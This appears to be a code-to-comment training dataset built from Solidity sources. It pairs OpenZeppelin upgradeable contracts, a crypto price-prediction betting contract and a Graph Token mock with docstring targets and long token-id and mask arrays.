return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
|
* @dev This empty reserved space is put in place to allow future versions to add new variables without shifting down storage in the inheritance chain./ SPDX-License-Identifier: MIT OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)* @dev Contract module which allows children to implement an emergency stop mechanism that can be triggered by an authorized account. This module is used through inheritance. It will make available the modifiers `whenNotPaused` and `whenPaused`, which can be applied to the functions of your contract. Note that they will not be pausable by simply including this module, only once the modifiers are put in place./
|
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
uint256[44] private __gap;
}
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
| 1,403,193 |
[
1,
2503,
1008,
8735,
3476,
353,
1378,
316,
3166,
358,
1699,
3563,
5244,
358,
527,
394,
3152,
2887,
699,
430,
1787,
2588,
2502,
316,
326,
16334,
2687,
18,
19,
11405,
28826,
17,
13211,
17,
3004,
30,
490,
1285,
3502,
62,
881,
84,
292,
267,
30131,
331,
24,
18,
24,
18,
21,
261,
7462,
19,
16507,
16665,
18,
18281,
13,
225,
13456,
1605,
1492,
5360,
2325,
358,
2348,
392,
801,
24530,
2132,
12860,
716,
848,
506,
10861,
635,
392,
10799,
2236,
18,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
10429,
1375,
13723,
1248,
28590,
68,
471,
1375,
13723,
28590,
9191,
1492,
848,
506,
6754,
358,
326,
4186,
434,
3433,
6835,
18,
3609,
716,
2898,
903,
486,
506,
6790,
16665,
635,
8616,
6508,
333,
1605,
16,
1338,
3647,
326,
10429,
854,
1378,
316,
3166,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
17801,
6835,
21800,
16665,
10784,
429,
353,
10188,
6934,
16,
1772,
10784,
429,
288,
203,
565,
871,
21800,
3668,
12,
2867,
2236,
1769,
203,
203,
565,
871,
1351,
8774,
3668,
12,
2867,
2236,
1769,
203,
203,
565,
1426,
3238,
389,
8774,
3668,
31,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
203,
565,
445,
389,
5205,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
203,
565,
2254,
5034,
63,
6334,
65,
3238,
1001,
14048,
31,
203,
97,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
5666,
315,
6216,
5471,
19,
1042,
10784,
429,
18,
18281,
14432,
203,
5666,
315,
6216,
5656,
19,
5471,
19,
4435,
6934,
18,
18281,
14432,
203,
203,
565,
445,
1001,
16507,
16665,
67,
2738,
1435,
2713,
1338,
29782,
288,
203,
3639,
1001,
16507,
16665,
67,
2738,
67,
4384,
8707,
5621,
203,
565,
289,
203,
203,
565,
445,
1001,
16507,
16665,
67,
2738,
67,
4384,
8707,
1435,
2713,
1338,
29782,
288,
203,
3639,
389,
8774,
3668,
273,
629,
31,
203,
565,
289,
203,
203,
565,
445,
17781,
1435,
1071,
1476,
5024,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
8774,
3668,
31,
203,
565,
289,
203,
203,
565,
9606,
1347,
1248,
28590,
1435,
288,
203,
3639,
2583,
12,
5,
8774,
3668,
9334,
315,
16507,
16665,
30,
17781,
8863,
203,
3639,
389,
31,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Pausable.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./AggregatorV3Interface.sol";
contract ZebrangoPriceGuess is Pausable , ReentrancyGuard, Ownable{
AggregatorV3Interface public oracle;
//genesisRound
bool public genesisLocked = false;
bool public genesisStarted = false;
//operators
address public admin;
address public operator;
address public govAddress;
//Timing settings
uint256 public bufferSeconds;
uint256 public intervalSeconds;
uint256 public minBet;
uint256 public fee; //fee rate 200 = 2%
uint256 public reserve; //reserve amount
uint256 public currentRound; //current round
uint256 public oracleLatestRoundId;
uint256 public oracleUpdateAllowance;
uint256 public constant MAX_FEE = 1000;
mapping(uint256 => mapping(address => BetInfo)) public docs;
mapping(uint256 => Round) public rounds;
mapping(address => uint256[] ) public userRounds;
enum Stand {
Up,Down
}
struct Round {
uint256 episode;
uint256 startTimestamp;
uint256 lockTimestamp;
uint256 closeTimestamp;
int256 lockprice;
int256 closeprice;
uint256 lockOracleId;
uint256 closeOracleID;
uint256 totalAmount;
uint256 upAmount;
uint256 downAmount;
uint256 rewardBaseCalAmount;
uint256 rewardAmount;
bool oracleCalled;
}
struct BetInfo {
Stand stand;
uint256 amount;
bool claimed; // Default false
}
event BetUp(address indexed sender, uint256 indexed episode, uint256 amount);
event BetDown(address indexed sender, uint256 indexed episode, uint256 amount);
event Claim(address indexed sender, uint256 indexed episode, uint256 amount);
event EndRound(uint256 indexed episode, uint256 indexed roundId, int256 price);
event LockRound(uint256 indexed episode, uint256 indexed roundId, int256 price);
event NewAdminAddress(address admin);
event NewBufferAndIntervalSeconds(uint256 bufferSeconds, uint256 intervalSeconds);
event NewMinBetAmount(uint256 indexed episode, uint256 minBet);
event NewFee(uint256 indexed episode, uint256 Fee);
event NewOperatorAddress(address operator);
event NewOracle(address oracle);
event NewOracleUpdateAllowance(uint256 oracleUpdateAllowance);
event Pause(uint256 indexed episode);
event RewardsCalculated(
uint256 indexed episode,
uint256 rewardBaseCalAmount,
uint256 rewardAmount,
uint256 treasuryAmount
);
event StartRound(uint256 indexed episode);
event TokenRecovery(address indexed token, uint256 amount);
event TreasuryClaim(uint256 amount);
event Unpause(uint256 indexed episode);
//modifers
modifier onlyAdmin() {
require(msg.sender == admin, "not admin");
_;
}
modifier onlyOperator() {
require(msg.sender == operator, "operator");
_;
}
modifier onlyAdminOrOperator (){
require(msg.sender == admin || msg.sender == operator, "not admin nor operator");
_;
}
modifier onlyGov(){
require(msg.sender == govAddress, "can only Called by the governance contract.");
_;
}
constructor(address _oracleAddress,address _adminAddress,address _operatorAddress, address _govAddress,uint256 _intervalSeconds,uint256 _bufferSeconds,uint256 _minBet,uint256 _oracleUpdateAllowance,uint256 _fee){
require(_fee <= MAX_FEE , "the fee is too high.");
oracle = AggregatorV3Interface(_oracleAddress);
admin = _adminAddress;
operator = _operatorAddress;
govAddress = _govAddress;
intervalSeconds = _intervalSeconds;
bufferSeconds = _bufferSeconds;
minBet = _minBet;
oracleUpdateAllowance = _oracleUpdateAllowance;
fee = _fee;
}
// bet the Price will go up.
function betUp (uint256 episode) external payable whenNotPaused nonReentrant{
require(episode == currentRound ,"Bet is too early / late");
require(_bettable(episode), "round is not bettable");
require(msg.value >= minBet, "Bet amout is too low");
require(docs[episode][msg.sender].amount == 0 , "can only bet once");
//update rounds Date
uint256 amount = msg.value;
Round storage round = rounds[episode];
round.totalAmount += amount;
round.upAmount += amount;
//update user data
BetInfo storage betInfo = docs[episode][msg.sender];
betInfo.stand = Stand.Up;
betInfo.amount = amount;
userRounds[msg.sender].push(episode);
emit BetUp(msg.sender, episode, amount);
}
// bet the Price will go down.
function betDown(uint256 episode) external payable whenNotPaused nonReentrant {
require(episode == currentRound , "bet is too early/late.");
require(_bettable(episode) , "round is not bettable.");
require(msg.value >= minBet, "bet is too low.");
require(docs[episode][msg.sender].amount == 0 ,"can only bet Once.");
//update round data
uint256 amount = msg.value;
Round storage round = rounds[episode];
round.totalAmount += amount;
round.downAmount += amount;
//update userData
BetInfo storage betInfo = docs[episode][msg.sender];
betInfo.stand = Stand.Down;
betInfo.amount = amount;
userRounds[msg.sender].push(episode);
emit BetDown(msg.sender, episode, amount);
}
function claim(uint256 [] calldata episodes) external nonReentrant{
uint256 reward;
for (uint256 i=0; i < episodes.length; i++){
require(rounds[episodes[i]].startTimestamp != 0, "round has not started yet.");
require(block.timestamp > rounds[episodes[i]].closeTimestamp, "round did not finish yet.");
uint256 addedReward = 0;
if(rounds[episodes[i]].oracleCalled){
require(claimable(episodes[i] , msg.sender) , "not Claimable.");
Round memory round = rounds[episodes[i]];
addedReward = (docs[episodes[i]][msg.sender].amount * round.rewardAmount) / round.rewardBaseCalAmount;
}
else{
require(refundable(episodes[i], msg.sender), "not refundable");
addedReward = docs[episodes[i]][msg.sender].amount;
}
docs[episodes[i]][msg.sender].claimed = true;
reward += addedReward;
emit Claim(msg.sender, episodes[i] , addedReward);
}
if (reward > 0 ){
_safeTransfer(msg.sender, reward);
}
}
function setFee(uint256 _fee) external whenPaused onlyAdmin {
require(_fee <= MAX_FEE, "Treasury fee too high");
fee = _fee;
emit NewFee(currentRound, fee);
}
function setBufferAndIntervalSeconds(uint256 _bufferSeconds, uint256 _intervalSeconds)
external
whenPaused
onlyAdmin
{
require(_bufferSeconds < _intervalSeconds, "bufferSeconds must be inferior to intervalSeconds");
bufferSeconds = _bufferSeconds;
intervalSeconds = _intervalSeconds;
emit NewBufferAndIntervalSeconds(_bufferSeconds, _intervalSeconds);
}
function setMinBetAmount(uint256 _minBetAmount) external whenPaused onlyAdmin {
require(_minBetAmount != 0, "Must be superior to 0");
minBet = _minBetAmount;
emit NewMinBetAmount(currentRound, minBet);
}
function setAdmin(address _adminAddress) external onlyOwner {
require(_adminAddress != address(0), "Cannot be zero address");
admin = _adminAddress;
emit NewAdminAddress(_adminAddress);
}
function setOperator(address _operatorAddress) external onlyAdmin {
require(_operatorAddress != address(0), "Cannot be zero address");
operator = _operatorAddress;
emit NewOperatorAddress(_operatorAddress);
}
function setOracle(address _oracle) external whenPaused onlyAdmin {
require(_oracle != address(0), "Cannot be zero address");
oracleLatestRoundId = 0;
oracle = AggregatorV3Interface(_oracle);
// Dummy check to make sure the interface implements this function properly
oracle.latestRoundData();
emit NewOracle(_oracle);
}
function setOracleUpdateAllowance(uint256 _oracleUpdateAllowance) external whenPaused onlyAdmin {
oracleUpdateAllowance = _oracleUpdateAllowance;
emit NewOracleUpdateAllowance(_oracleUpdateAllowance);
}
function executeRound() external whenNotPaused onlyOperator {
require(genesisStarted && genesisLocked , "can only run after Genesis round is started and locked");
(uint80 currentRoundId, int256 currentPrice) = _getPriceFromOracle();
oracleLatestRoundId = uint256(currentRoundId);
//current episodes
_safeLockRound(currentRound , currentRoundId, currentPrice);
_safeEndRound(currentRound - 1, currentRoundId, currentPrice);
_calculateRewards(currentRound - 1);
currentRound = currentRound + 1;
_safeStartRound(currentRound);
}
function _calculateRewards(uint256 episode) internal {
require(rounds[episode].rewardBaseCalAmount == 0 && rounds[episode].rewardAmount == 0, "rewards already calculated.");
Round storage round = rounds[episode];
uint256 rewardBaseCalAmount;
uint256 feeAmount;
uint256 rewardAmount;
// Up wins
if(round.closeprice > round.lockprice) {
rewardBaseCalAmount = round.upAmount;
feeAmount = (round.totalAmount * fee) / 10000;
rewardAmount = round.totalAmount - feeAmount;
}
// down wins
else if(round.closeprice < round.lockprice){
rewardBaseCalAmount = round.downAmount;
feeAmount = (round.totalAmount * fee) / 10000;
rewardAmount = round.totalAmount - feeAmount;
}
//Reserve Wins!
else{
rewardBaseCalAmount = 0;
rewardAmount = 0;
feeAmount = round.totalAmount;
}
round.rewardBaseCalAmount = rewardBaseCalAmount;
round.rewardAmount = rewardAmount;
reserve += feeAmount;
emit RewardsCalculated(episode, rewardBaseCalAmount, rewardAmount, feeAmount);
}
function genesisStartRound() external whenNotPaused onlyOperator {
require(!genesisStarted, "can only run once.");
currentRound = currentRound + 1;
_startRound(currentRound);
genesisStarted = true;
}
function genesisLockRound() external whenNotPaused onlyOperator{
require(genesisStarted, "can only run after genesis is started.");
require(!genesisLocked, "can only run once.");
(uint80 currentRoundId, int256 currentPrice) = _getPriceFromOracle();
oracleLatestRoundId = uint256(currentRoundId);
_safeLockRound(currentRound, currentRoundId, currentPrice);
currentRound = currentRound + 1;
_startRound(currentRound);
genesisLocked = true;
}
function _safeTransfer(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}("");
require(success , "Transfer Failed.");
}
function _startRound(uint256 episode) internal {
Round storage round = rounds[episode];
round.startTimestamp = block.timestamp;
round.lockTimestamp = block.timestamp + intervalSeconds;
round.closeTimestamp = block.timestamp + (2 * intervalSeconds);
round.episode = episode;
round.totalAmount = 0;
emit StartRound(episode);
}
function _safeEndRound(uint256 episode, uint256 roundId, int256 price) internal {
require(rounds[episode].lockTimestamp != 0 , "can only end round after locking it");
require(block.timestamp <= rounds[episode].closeTimestamp + bufferSeconds, "Can only end round within bufferSeconds");
require(block.timestamp >= rounds[episode].closeTimestamp , "Can only end round within bufferSeconds");
Round storage round = rounds[episode];
round.closeprice = price;
round.closeOracleID = roundId;
round.oracleCalled = true;
emit EndRound(episode, roundId, price);
}
function _safeLockRound(uint256 episode, uint256 roundId, int256 price) internal {
require(rounds[episode].startTimestamp != 0, "can only lock after the round has started.");
require(block.timestamp >= rounds[episode].lockTimestamp, "can only lock within buffer seconds.");
require(block.timestamp <= rounds[episode].lockTimestamp + bufferSeconds , "can only lock within buffer seconds.");
Round storage round = rounds[episode];
round.closeTimestamp = block.timestamp + intervalSeconds;
round.lockprice = price;
round.lockOracleId = roundId;
emit LockRound(episode, roundId, price);
}
function _safeStartRound(uint256 episode) internal {
require(genesisStarted, "Can only after genesis is started");
require(rounds[episode - 2].closeTimestamp != 0, "can only start this round after round n-2 is finished.");
require(block.timestamp >= rounds[episode -2].closeTimestamp, "can only start new round after round n-2 close timestamp.");
_startRound(episode);
}
function _getPriceFromOracle() internal view returns(uint80, int256){
uint256 leastAllowedTimestamp = block.timestamp + oracleUpdateAllowance;
(uint80 roundId, int256 price , , uint256 timestamp, ) = oracle.latestRoundData();
require(timestamp <= leastAllowedTimestamp, "oracle update exceeded the allowed max lockTimestamp.");
require(uint256(roundId) > oracleLatestRoundId , "oracle update roundId must be larger than oracle last update");
return (roundId, price);
}
//determin if the round is valid
function _bettable(uint256 episode) internal view returns (bool) {
return
rounds[episode].startTimestamp != 0 &&
rounds[episode].lockTimestamp != 0 &&
block.timestamp >= rounds[episode].startTimestamp &&
block.timestamp < rounds[episode].lockTimestamp;
}
function claimable(uint256 episode, address user) public view returns (bool){
BetInfo memory betInfo = docs[episode][user];
Round memory round = rounds[episode];
if (round.lockprice == round.closeprice){
return false;
}
return
round.oracleCalled &&
betInfo.amount != 0 &&
!betInfo.claimed &&
((round.closeprice > round.lockprice && betInfo.stand == Stand.Up) ||
(round.closeprice < round.lockprice && betInfo.stand == Stand.Down));
}
function refundable(uint256 episode, address user) public view returns (bool) {
BetInfo memory betInfo = docs[episode][user];
Round memory round = rounds[episode];
return
!round.oracleCalled &&
!betInfo.claimed &&
block.timestamp > round.closeTimestamp + bufferSeconds &&
betInfo.amount != 0;
}
function withdrowGov()external onlyGov returns(uint256 _amt){
uint256 currentAmount = reserve;
_safeTransfer(govAddress, currentAmount);
reserve = 0;
_amt = currentAmount;
}
/**
* @notice Returns round epochs and bet information for a user that has participated
* @param user: user address
* @param cursor: cursor
* @param size: size
*/
function getUserRounds(
address user,
uint256 cursor,
uint256 size
)
external
view
returns (
uint256[] memory,
BetInfo[] memory,
uint256
)
{
uint256 length = size;
if (length > userRounds[user].length - cursor) {
length = userRounds[user].length - cursor;
}
uint256[] memory values = new uint256[](length);
BetInfo[] memory betInfo = new BetInfo[](length);
for (uint256 i = 0; i < length; i++) {
values[i] = userRounds[user][cursor + i];
betInfo[i] = docs[values[i]][user];
}
return (values, betInfo, cursor + length);
}
/**
* @notice Returns round epochs length
* @param user: user address
*/
function getUserRoundsLength(address user) external view returns (uint256) {
return userRounds[user].length;
}
/**
* @notice called by the admin to pause, triggers stopped state
* @dev Callable by admin or operator
*/
function pause() external whenNotPaused onlyAdminOrOperator {
_pause();
emit Pause(currentRound);
}
/**
* @notice called by the admin to unpause, returns to normal state
* Reset genesis state. Once paused, the rounds would need to be kickstarted by genesis
*/
function unpause() external whenPaused onlyAdmin {
genesisStarted = false;
genesisLocked = false;
_unpause();
emit Unpause(currentRound);
}
fallback ()external payable{
}
receive()external payable{
}
}
|
* @notice called by the admin to pause, triggers stopped state @dev Callable by admin or operator/
|
function pause() external whenNotPaused onlyAdminOrOperator {
_pause();
emit Pause(currentRound);
}
| 1,067,945 |
[
1,
11777,
635,
326,
3981,
358,
11722,
16,
11752,
9627,
919,
225,
10464,
635,
3981,
578,
3726,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
11722,
1435,
3903,
1347,
1248,
28590,
1338,
4446,
1162,
5592,
288,
203,
1377,
389,
19476,
5621,
203,
203,
1377,
3626,
31357,
12,
2972,
11066,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Graph Token Mock
*/
contract GraphTokenMock is Ownable, ERC20 {
/**
* @dev Contract Constructor.
* @param _initialSupply Initial supply
*/
constructor(uint256 _initialSupply, address _mintTo) ERC20("Graph Token Mock", "GRT-Mock") {
// Deploy to mint address
_mint(_mintTo, _initialSupply);
}
}
|
* @title Graph Token Mock/
|
contract GraphTokenMock is Ownable, ERC20 {
constructor(uint256 _initialSupply, address _mintTo) ERC20("Graph Token Mock", "GRT-Mock") {
_mint(_mintTo, _initialSupply);
}
}
| 5,498,441 |
[
1,
4137,
3155,
7867,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
5601,
1345,
9865,
353,
14223,
6914,
16,
4232,
39,
3462,
288,
203,
203,
565,
3885,
12,
11890,
5034,
389,
6769,
3088,
1283,
16,
1758,
389,
81,
474,
774,
13,
4232,
39,
3462,
2932,
4137,
3155,
7867,
3113,
315,
6997,
56,
17,
9865,
7923,
288,
203,
3639,
389,
81,
474,
24899,
81,
474,
774,
16,
389,
6769,
3088,
1283,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
